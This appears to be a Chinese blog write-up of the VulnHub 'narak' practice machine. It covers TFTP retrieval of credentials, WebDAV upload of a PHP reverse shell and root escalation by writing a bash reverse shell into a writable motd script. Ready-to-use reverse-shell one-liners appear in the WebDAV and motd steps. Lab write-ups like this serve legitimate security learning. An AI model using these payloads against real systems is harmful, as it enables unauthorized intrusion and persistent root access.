972 字
5 分钟
vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)
vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的narak靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/ha-narak,569/‘
渗透流程
- 在vmware部署靶机并开机后,打开kali对靶机进行信息收集,使用nmap执行
nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.160为靶机。(192.168.245.136为我的kali虚拟机的地址)
- 并进行端口发现,执行
nmap --min-rate 10000 -p- 192.168.245.160,并对开放端口记录用于后续渗透,发现22、80端口。
- 对端口进行详细扫描,执行
nmap -sT -sV -sC -O -p22,80 192.168.245.160,得到端口详细服务内容和系统版本。
- 执行
sudo nmap --script=vuln -p80,111,777 192.168.245.160用脚本扫一下漏洞,发现一些目录。
- 简单浏览80端口,进行目录爆破,还是上面给出的/images,/webdav目录。

- 查看目录,/images是存放主页图片文件夹,/webdav需要一个用户密码才能访问,弱密码尝试无效。继续深入目录爆破,增加参数执行
gobuster dir -u http://192.168.245.160 -x txt,zip,rar -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,获得一个tips.txt。
- 查看tips.txt,提示有个creds.txt文件包含下一步信息。

- 对于我们常常忽略的udp端口其实应当扫描,本靶机的tftp(文末会补充相关内容)可能开着,可以尝试连接。

- TFTP是一种轻量级的文件传输协议,可以从目标服务器下载和上传文件,尝试刚才提到的creds.txt

- 下载到该文件,获得一串字符,特征很像base64尝试解密。

- 解密出一对用户名密码yamdoot
,可用来尝试ssh连接,连接不上,尝试用于刚才webdav的用户密码。 
- 成功登录webdav。

- 执行
davtest -url http://192.168.245.160/webdav -auth yamdoot:Swarg对webdav进行上传测试,并给出文件上传和可执行情况,发现php是支持的。 - 用cadaver工具连接webdav,准备制作上传shell.php(创建shell.php写入
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.245.136/1234 0>&1'"); ?>)。
- put上传shell.php。

- 开启监听并访问shell.php,获得www-data的shell。

提权过程
- 分别执行
find / -perm -u=s -type f 2>/dev/null找suid文件,find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null找可写文件,列出的/mnt/hell.sh,motd(Message of the Day,是一个在用户登录后显示的消息文件),users.password,这几个文件都应该注意。
- 查看users.password,还是一样的用户密码。

- 查看hell.sh信息,有一段brainfuck语言,保存到bf文件,用于解密。

- 使用beef工具解密其为chitragupt,可能是哪个用户的密码。

cat /etc/passwd寻找有bash环境的用户,如inferno。
- 尝试用
chitragupt作为密码,ssh连接成功。
- 连接后看到欢迎界面,结合之前找到的motd文件,我们
cd /etc/update-motd.d/,cat 00-header,看到该环境为!/bin/sh,准备在后面写入shell。
- 如图写入
bash -c "bash -i >& /dev/tcp/192.168.245.136/4444 0>&1"。
- 打开监听并重新登入inferno账户,将执行00-header,成功获得root权限。

其它补充
- WebDAV是一种基于HTTP协议的扩展,允许用户通过网络对远程主机上的文件进行读写、编辑和删除操作。 详细可看文章’https://www.cnblogs.com/xiefengdaxia123/p/17581325.html’介绍。
- 当tcp协议各端口渗透无太大进展时,尝试udp探测,如该靶机的tftp服务(这里其实尝试过上传php文件但是应该被禁止上传文件了,其它靶机可以尝试)。
- 资料:TFTP(Trivial File Transfer Protocol,简单文件传输协议) 是一种用于在客户端和服务器之间进行简单文件传输的协议。使用UDP进行数据传输,端口号为69。
vulnhub靶机-narak(基于udp的tftp连接、dav渗透和motd提权)
http://124.70.202.140/posts/post-11/11/ 部分信息可能已经过时







